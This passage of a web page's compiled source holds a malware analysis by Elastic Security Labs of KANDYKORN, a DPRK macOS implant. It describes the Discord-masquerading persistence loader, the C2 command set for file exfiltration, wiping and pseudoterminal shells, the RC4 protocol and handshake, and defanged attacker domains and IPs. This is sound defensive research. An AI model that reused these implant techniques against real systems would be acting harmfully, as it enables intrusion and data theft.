\",(0,i.jsx)(e.code,{children:\"MacOS.tmp\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Renames the legitimate Discord binary from \",(0,i.jsx)(e.code,{children:\".lock\"}),\" to \",(0,i.jsx)(e.code,{children:\"Discord\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Executes both Discord and \",(0,i.jsx)(e.code,{children:\".log\"}),\" using \",(0,i.jsx)(e.code,{children:\"NSTask.launchAndReturnError\"})]}),`\n`,(0,i.jsx)(e.li,{children:\"Renames both files back to their initial names\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image37.png\",alt:\"HLOADER execution event chain\",width:\"1440\",height:\"337\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image33.png\",alt:\"HLOADER Discord Application Hijack\",width:\"1440\",height:\"747\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The following process tree also visually depicts how persistence is obtained. The root node \",(0,i.jsx)(e.code,{children:\"Discord\"}),\" is actually HLOADER disguised as the legitimate app. As presented above, it first runs .lock, which is in fact Discord, and, alongside, spawns SUGARLOADER as a process named .log.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image23.png\",alt:\"Process Tree Analyzer\",width:\"1440\",height:\"583\"})}),`\n`,(0,i.jsx)(e.p,{children:\"As seen in stage 2, SUGARLOADER reads the configuration file, connects to the C2 server, and waits for a payload to be received. Another alert is generated when the new payload (KANDYKORN) is loaded into memory.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image27.png\",alt:\"Reflective Dylib Load Alert for KANDYKORN\",width:\"1440\",height:\"155\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"stage-4-payload-kandykorn\",children:\"Stage 4 Payload: KANDYKORN\"}),`\n`,(0,i.jsx)(e.p,{children:\"KANDYKORN is the final stage of this execution chain and possesses a full-featured set of capabilities to access and exfiltrate data from the victim\\u2019s computer. Elastic Security Labs was able to retrieve this payload from one C2 server which hadn\\u2019t been deactivated yet.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"execution-1\",children:\"Execution\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"KANDYCORN processes are forked and run in the background as daemons before loading their configuration file from \",(0,i.jsx)(e.code,{children:\"/Library/Caches/com.apple.safari.ck\"}),\". The configuration file is read into memory then decrypted using the same RC4 key, and parsed for C2 settings. The communication protocol is similar to prior stages using the victim ID value for authentication.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"command-and-control\",children:\"Command and control\"}),`\n`,(0,i.jsx)(e.p,{children:\"Once communication is established, KANDYKORN awaits commands from the server. This is an interesting characteristic in that the malware waits for commands instead of polling for commands. This would reduce the number of endpoint and network artifacts generated and provide a way to limit potential discovery.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Each command is represented by an integer being transmitted, followed by the data that is specific to each action. Below is a list of the available commands KANDYKORN provides.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xd1\",children:\"Command 0xD1\"}),`\n`,(0,i.jsx)(e.p,{children:\"Action: Exit command where the program gracefully exists.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xd2\",children:\"Command 0xD2\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Name: \",(0,i.jsx)(e.code,{children:\"resp_basicinfo\"}),`\nAction: Gathers information about the system such as hostname, uid, osinfo, and image path of the current process, and reports back to the server.`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image16.png\",alt:\"resp_basicinfo routine\",width:\"318\",height:\"260\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xd3\",children:\"Command 0xD3\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Name: \",(0,i.jsx)(e.code,{children:\"resp_file_dir\"}),`\nAction: Lists content of a directory and format the output similar to `,(0,i.jsx)(e.code,{children:\"ls -al\"}),\", including type, name, permissions, size, acl, path, and access time.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image20.png\",alt:\"resp_file_dir routine\",width:\"445\",height:\"337\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xd4\",children:\"Command 0xD4\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Name: \",(0,i.jsx)(e.code,{children:\"resp_file_prop\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"Action: Recursively read a directory and count the number of files, number of subdirectories, and total size.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image26.png\",alt:\"resp_file_prop routine\",width:\"722\",height:\"367\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xd5\",children:\"Command 0xD5\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Name: \",(0,i.jsx)(e.code,{children:\"resp_file_upload\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"Action: Used by the adversary to upload a file from their C2 server to the victim\\u2019s computer. This command specifies a path, creates it, and then proceeds to download the file content and write it to the victim\\u2019s computer.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xd6\",children:\"Command 0xD6\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Name: \",(0,i.jsx)(e.code,{children:\"resp_file_down\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"Action: Used by the adversary to transfer a file from the victim\\u2019s computer to their infrastructure.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xd7\",children:\"Command 0xD7\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Name: \",(0,i.jsx)(e.code,{children:\"resp_file_zipdown\"})]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Action: Archive a directory and exfiltrate it to the C2 server. The newly created archive\\u2019s name has the following pattern\",(0,i.jsx)(e.code,{children:\"/tmp/tempXXXXXXX\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image29.png\",alt:\"_resp_file_zipdown routine _\",width:\"500\",height:\"423\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xd8\",children:\"Command 0xD8\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Name: \",(0,i.jsx)(e.code,{children:\"resp_file_wipe\"}),`\nAction: Overwrites file content to zero and deletes the file. This is a common technique used to impede recovering the file through digital forensics on the filesystem.`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image28.png\",alt:\"resp_file_wipe routine\",width:\"513\",height:\"147\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xd9\",children:\"Command 0xD9\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Name: \",(0,i.jsx)(e.code,{children:\"resp_proc_list\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"Action: Lists all running processes on the system along with their PID, UID and other information.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xda\",children:\"Command 0xDA\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Name: \",(0,i.jsx)(e.code,{children:\"resp_proc_kill\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"Action: Kills a process by specified PID.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image19.png\",alt:\"resp_proc_kill routine\",width:\"471\",height:\"80\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xdb\",children:\"Command 0xDB\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Name: \",(0,i.jsx)(e.code,{children:\"resp_cmd_send\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"Action: Executes a command on the system by using a pseudoterminal.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xdc\",children:\"Command 0xDC\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Name: \",(0,i.jsx)(e.code,{children:\"resp_cmd_recv\"})]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Action: Reads the command output from the previous command \",(0,i.jsx)(e.code,{children:\"resp_cmd_send\"}),\".\"]}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xdd\",children:\"Command 0xDD\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Name: \",(0,i.jsx)(e.code,{children:\"resp_cmd_create\"})]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Action: Spawns a shell on the system and communicates with it via a pseudoterminal. Once the shell process is executed, commands are read and written through the \",(0,i.jsx)(e.code,{children:\"/dev/pts\"}),\" device.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image38.png\",alt:\"resp_cmd_create routine (interactive shell)\",width:\"591\",height:\"828\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xde\",children:\"Command 0xDE\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Name: \",(0,i.jsx)(e.code,{children:\"resp_cfg_get\"})]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Action: Sends the current configuration to the C2 from \",(0,i.jsx)(e.code,{children:\"/Library/Caches/com.apple.safari.ck\"}),\".\"]}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xdf\",children:\"Command 0xDF\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Name: \",(0,i.jsx)(e.code,{children:\"resp_cfg_set\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"Action: Download a new configuration file to the victim\\u2019s machine. This is used by the adversary to update the C2 hostname that should be used to retrieve commands from.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"command-0xe0\",children:\"Command 0xE0\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Name: \",(0,i.jsx)(e.code,{children:\"resp_sleep\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"Action: Sleeps for a number of seconds.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"summary\",children:\"Summary\"}),`\n`,(0,i.jsx)(e.p,{children:\"KANDYKORN is an advanced implant with a variety of capabilities to monitor, interact with, and avoid detection. It utilizes reflective loading, a direct-memory form of execution that may bypass detections.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"network-protocol\",children:\"Network protocol\"}),`\n`,(0,i.jsx)(e.p,{children:\"All the executables that communicate with the C2 (both stage 3 and stage 4) are using the same protocol. All the data is encrypted with RC4 and uses the same key previously referenced in the configuration file.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Both samples implement wrappers around the send-and-receive system calls. It can be observed in the following pseudocode that during the send routine, the buffer is first encrypted and then sent to the socket, whereas when data is received it is first decrypted and then processed.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image22.png\",alt:\"send routine\",width:\"458\",height:\"80\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image32.png\",alt:\"recv routine\",width:\"490\",height:\"249\"})}),`\n`,(0,i.jsx)(e.p,{children:\"When the malware first connects to the C2 during the initialization phase, there is a handshake that needs to be validated in order to proceed. Should the handshake fail, the attack would stop and no other commands would be processed.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"On the client side, a random number is generated and sent to the C2, which replies with a nonce variable. The client then computes a challenge with the random number and the received nonce and sends the result back to the server. If the challenge is successful and the server accepts the connection, it replies with a constant such as \",(0,i.jsx)(e.code,{children:\"0x41C3372\"}),\" which appears in the analyzed sample.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image39.png\",alt:\"Handshake routine\",width:\"770\",height:\"223\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Once the connection is established, the client sends its ID and awaits commands from the server. Any subsequent data sent or received from here is serialized following a common schema used to serialize binary objects. First, the length of the content is sent, then the payload, followed by a return code which indicates if any error occurred.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image6.png\",alt:\"Overview of communication protocol\",width:\"1440\",height:\"431\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"network-infrastructure\",children:\"Network infrastructure\"}),`\n`,(0,i.jsx)(e.p,{children:\"During REF7001, the adversary was observed communicating with network infrastructure to collect various payloads and loaders for different stages of the intrusion.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"As detailed in the Stage 1 section above, the link to the initial malware archive, \",(0,i.jsx)(e.code,{children:\"Cross-Platform Bridges.zip\"}),\", was provided in a direct message on a popular blockchain Discord server. This archive was hosted on a Google Drive (\",(0,i.jsx)(e.code,{children:\"https://drive.google[.]com/file/d1KW5nQ8MZccug6Mp4QtKyWLT3HIZzHNIL2\"}),\"), but this was removed shortly after the archive was downloaded.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Throughout the analysis of the REF7001 intrusion, there were two C2 servers observed.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"23.254.226[.]90\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"tp-globaxyz\",children:\"tp-globa[.]xyz\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The C2 domain \",(0,i.jsx)(e.code,{children:\"tp-globa[.]xyz\"}),\" is used by \",(0,i.jsx)(e.code,{children:\"FinderTools\"}),\" to download SUGARLOADER and is likely an attempt at \",(0,i.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Typosquatting\",rel:\"nofollow\",children:\"typosquatting\"}),\" a legitimate foreign exchange market broker. We do not have any information to indicate that the legitimate company is involved in this intrusion. This typosquatted domain was likely chosen in an attempt to appear more legitimate to the victims of the intrusion.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"tp-globa[.]xyz\"}),\", as of this writing, resolves to an IP address (\",(0,i.jsx)(e.code,{children:\"192.119.64[.]43\"}),\") that has been observed distributing malware attributed to the DPRK\\u2019s Lazarus Group (\",(0,i.jsx)(e.a,{href:\"https://twitter.com/TLP_R3D/status/1677617586349981696\",rel:\"nofollow\",children:\"1\"}),\", \",(0,i.jsx)(e.a,{href:\"https://twitter.com/_reboot_xxxx/status/1679054436289880065\",rel:\"nofollow\",children:\"2\"}),\", \",(0,i.jsx)(e.a,{href:\"https://twitter.com/KSeznec/status/1678319191110082560\",rel:\"nofollow\",children:\"3\"}),\").\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"2325422690\",children:\"23.254.226[.]90\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"23.254.226[.]90 is the C2 IP used for the \",(0,i.jsx)(e.code,{children:\".sld\"}),\" file (SUGARLOADER malware). How this IP is used for C2 is highlighted in the stage 2 section above.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"On October 14, 2023, \",(0,i.jsx)(e.code,{children:\"23.254.226[.]90\"}),\" was used to register the subdomain, \",(0,i.jsx)(e.code,{children:\"pesnam.publicvm[.]com\"}),\". While we did not observe this domain in our intrusion, it is \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/domain/publicvm.com/detection\",rel:\"nofollow\",children:\"documented\"}),\" as hosting other malicious software.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"campaign-intersections\",children:\"Campaign intersections\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"tp-globa[.]xyz\"}),\", has a TLS certificate with a Subject CN of \",(0,i.jsx)(e.code,{children:\"bitscrunnch.linkpc[.]net\"}),\". The domain \",(0,i.jsx)(e.code,{children:\"bitscrunnch.linkpc[.]net\"}),\" has been \",(0,i.jsx)(e.a,{href:\"https://twitter.com/tiresearch1/status/1708141542261809360?s=20\",rel:\"nofollow\",children:\"attributed\"}),\" to other Lazarus Group intrusions.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"As noted above, this is likely an attempt to typosquat a legitimate domain for a decentralized NFT data platform. We do not have any information to indicate that the legitimate company is involved in this intrusion.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`\\u2026\nIssuer: C = US, O = Let's Encrypt, CN = R3\nValidity\nNot Before: Sep 20 12:55:37 2023 GMT\nNot After : Dec 19 12:55:36 2023 GMT\nSubject: CN = bitscrunnch[.]linkpc[.]net\n\\u2026\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The \",(0,i.jsx)(e.code,{children:\"bitscrunnch.linkpc[.]net\"}),\"\\u2019s TLS certificate is also used for \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/search/entity%253Adomain%2520ssl_subject%253Abitscrunnch.linkpc.net/domains\",rel:\"nofollow\",children:\"other additional domains\"}),\", all of which are registered to the same IP address reported above in the \",(0,i.jsx)(e.code,{children:\"tp-globa[.]xyz\"}),\" section above, \",(0,i.jsx)(e.code,{children:\"192.119.64[.]43\"}),\".\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"jobintro.linkpc[.]net\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"jobdescription.linkpc[.]net\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"docsenddata.linkpc[.]net\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"docsendinfo.linkpc[.]net\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"datasend.linkpc[.]net\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"exodus.linkpc[.]net\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"bitscrunnch.run[.]place\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"coupang-networks[.]pics\"})}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"While LinkPC is a legitimate second-level domain and dynamic DNS service provider, it is \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/domain/linkpc.net/community\",rel:\"nofollow\",children:\"well-documented\"}),\" that this specific service is used by threat actors for C2. In our \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket\",rel:\"nofollow\",children:\"published research into RUSTBUCKET\"}),\", which is also attributed to the DPRK, we observed LinkPC being used for C2.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"All registered domains, 48 as of this writing, for \",(0,i.jsx)(e.code,{children:\"192.119.64[.]43\"}),\" are included in the observables bundle.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Finally, in late July 2023, there were reports on the Subreddits \",(0,i.jsx)(e.a,{href:\"https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/\",rel:\"nofollow\",children:\"r/hacking\"}),\", \",(0,i.jsx)(e.a,{href:\"https://www.reddit.com/r/Malware/comments/15b595e/looks_like_a_try_to_steel_some_data/\",rel:\"nofollow\",children:\"r/Malware\"}),\", and \",(0,i.jsx)(e.a,{href:\"https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/\",rel:\"nofollow\",children:\"r/pihole\"}),\" with URLs that matched the structure of \",(0,i.jsx)(e.code,{children:\"tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC\"}),\". The user on Reddit reported that a recruiter contacted them to solve a Python coding challenge as part of a job offer. The code challenge was to analyze Python code purported to be for an internet speed test. This aligns with the REF7001 victim\\u2019s reporting on being offered a Python coding challenge and the script name \",(0,i.jsx)(e.code,{children:\"testSpeed.py\"}),\" detailed earlier in this research.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The domain reported on Reddit was \",(0,i.jsx)(e.code,{children:\"group.pro-tokyo[.]top//OcRLY4xsFlN/vMZrXIWONw/6OyCZl89HS/fP7savDX6c/bfC\"}),\" which follows the same structure as the REF7001 URL (\",(0,i.jsx)(e.code,{children:\"tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC\"}),\"):\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Two \",(0,i.jsx)(e.code,{children:\"//\"}),\"\\u2019s after the TLD\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"5 subdirectories using an \",(0,i.jsx)(e.code,{children:\"//11-characters/10-characters/10-characters/\"}),\" structure\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"The last 2 subdirectories were \",(0,i.jsx)(e.code,{children:\"/fP7savDX6c/bfC\"})]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"While we did not observe GitHub in our intrusion, the Redditors who reported this did observe GitHub profiles being used. They have all been deactivated.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Those accounts were:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"https://github[.]com/Prtof\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"https://github[.]com/wokurks\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"summary-1\",children:\"Summary\"}),`\n`,(0,i.jsx)(e.p,{children:\"The DPRK, via units like the LAZARUS GROUP, continues to target crypto-industry businesses with the goal of stealing cryptocurrency in order to circumvent international sanctions that hinder the growth of their economy and ambitions. In this intrusion, they targeted blockchain engineers active on a public chat server with a lure designed to speak to their skills and interests, with the underlying promise of financial gain.\"}),`\n`,(0,i.jsx)(e.p,{children:\"The infection required interactivity from the victim that would still be expected had the lure been legitimate. Once executed, via a Python interpreter, the REF7001 execution flow went through 5 stages:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Stage 0 (staging) - \",(0,i.jsx)(e.code,{children:\"Main.py\"}),\" executes \",(0,i.jsx)(e.code,{children:\"Watcher.py\"}),\" as an imported module. This script checks the Python version, prepares the local system directories, then downloads, executes, and cleans up the next stage.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Stage 1 (generic droppers) - \",(0,i.jsx)(e.code,{children:\"testSpeed.py\"}),\" and \",(0,i.jsx)(e.code,{children:\"FinderTools\"}),\" are intermediate dropper Python scripts that download and execute SUGARLOADER.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Stage 2 (SUGARLOADER) - \",(0,i.jsx)(e.code,{children:\".sld\"}),\" and \",(0,i.jsx)(e.code,{children:\".log\"}),\" are Mach-O executable payloads that establish C2, write the configuration file and reflectively load KANDYKORN.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Stage 3 (HLOADER) - \",(0,i.jsx)(e.code,{children:\"HLOADER\"}),\"/\",(0,i.jsx)(e.code,{children:\"Discord\"}),\"(fake) is a simple loader used as a persistence mechanism masquerading as the legitimate Discord app for the loading of SUGARLOADER.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Stage 4 (KANDYKORN) - The final reflectively loaded payload. KANDYKORN is a full-featured memory resident RAT with built-in capabilities to:\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Conduct encrypted command and control\"}),`\n`,(0,i.jsx)(e.li,{children:\"Conduct system enumeration\"}),`\n`,(0,i.jsx)(e.li,{children:\"Upload and execute additional payloads\"}),`\n`,(0,i.jsx)(e.li,{children:\"Compress and exfil data\"}),`\n`,(0,i.jsx)(e.li,{children:\"Kill processes\"}),`\n`,(0,i.jsx)(e.li,{children:\"Run arbitrary system commands through an interactive pseudoterminal\"}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic traced this campaign to April 2023 through the RC4 key used to encrypt the SUGARLOADER and KANDYKORN C2. This threat is still active and the tools and techniques are being continuously developed.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"the-diamond-model\",children:\"The Diamond Model\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for an, although cluttered, single diamond.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image30.jpg\",alt:\"REF7001 Diamond Model\",width:\"1440\",height:\"871\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"malware-and-mitre-attck\",children:\"[Malware] and MITRE ATT\u0026CK\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic uses the \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/\",rel:\"nofollow\",children:\"MITRE ATT\u0026CK\"}),\" framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.\"]}),`\n`,(0,i.jsx)(e.h4,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,i.jsx)(e.p,{children:\"Tactics represent the why of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002\",rel:\"nofollow\",children:\"Execution\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0003\",rel:\"nofollow\",children:\"Persistence\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005\",rel:\"nofollow\",children:\"Defense Evasion\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007\",rel:\"nofollow\",children:\"Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0009\",rel:\"nofollow\",children:\"Collection\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011\",rel:\"nofollow\",children:\"Command and Control\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0010\",rel:\"nofollow\",children:\"Exfiltration\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h4,{id:\"techniques\",children:\"Techniques\"}),`\n`,(0,i.jsx)(e.p,{children:\"Techniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1204/002/\",rel:\"nofollow\",children:\"User Execution: Malicious File\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1059/006/\",rel:\"nofollow\",children:\"Command and Scripting Interpreter: Python\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1059/004/\",rel:\"nofollow\",children:\"Command and Scripting Interpreter: Unix Shell\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1574/\",rel:\"nofollow\",children:\"Hijack Execution Flow\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1140/\",rel:\"nofollow\",children:\"Deobfuscate/Decode Files or Information\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1564/001/\",rel:\"nofollow\",children:\"Hide Artifacts: Hidden Files and Directories\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1070/004/\",rel:\"nofollow\",children:\"Indicator Removal: File Deletion\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1036/005/\",rel:\"nofollow\",children:\"Masquerading: Match Legitimate Name or Location\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1027/002/\",rel:\"nofollow\",children:\"Obfuscated Files or Information: Software Packing\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1620/\",rel:\"nofollow\",children:\"Reflective Code Loading\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1083/\",rel:\"nofollow\",children:\"File and Directory 